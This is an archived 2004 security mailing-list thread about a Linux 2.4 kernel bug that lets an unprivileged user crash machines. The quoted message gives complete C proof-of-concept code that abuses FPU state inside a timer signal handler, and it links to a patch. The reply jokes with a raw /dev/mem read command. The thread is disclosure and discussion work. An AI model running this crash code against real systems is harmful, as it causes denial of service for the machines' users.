OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Re: crash

From: Lunar (lunarzond.ru)
Date: Wed Jun 16 2004 - 00:39:36 CDT


Hello !

It is simple :

dd if=/dev/mem of=/dev/null ;-)

Lunar

On Tue, 15 Jun 2004, Krzychu wrote:

> Hi,
> it seems that this code:
>
> #include <sys/time.h>
> #include <signal.h>
> #include <unistd.h>
>
> static void Handler(int ignore)
> {
> char fpubuf[108];
> __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
> write(2, "*", 1);
> __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
> }
>
> int main(int argc, char *argv[])
> {
> struct itimerval spec;
> signal(SIGALRM, Handler);
> spec.it_interval.tv_sec=0;
> spec.it_interval.tv_usec=100;
> spec.it_value.tv_sec=0;
> spec.it_value.tv_usec=100;
> setitimer(ITIMER_REAL, &spec, NULL);
> while(1)
> write(1, ".", 1);
>
> return 0;
> }
>
> executed by normal user can really crash our owl boxes. I've tested
> in on 2.4.26-owl1 and the code "eat" 99% CPU's time. More info at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
>
> Fix of the problem is aviable at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
>
> Regards
>
>
>
> --
> Krzysztof Sniadoch
> krzysieksecurenet.pl
> http://www.securenet.pl
>
> "...qui desiderat pacem, praeparet bellum"
> (...if you would have peace, be prepared for war) - Flavius Vegetius
>
>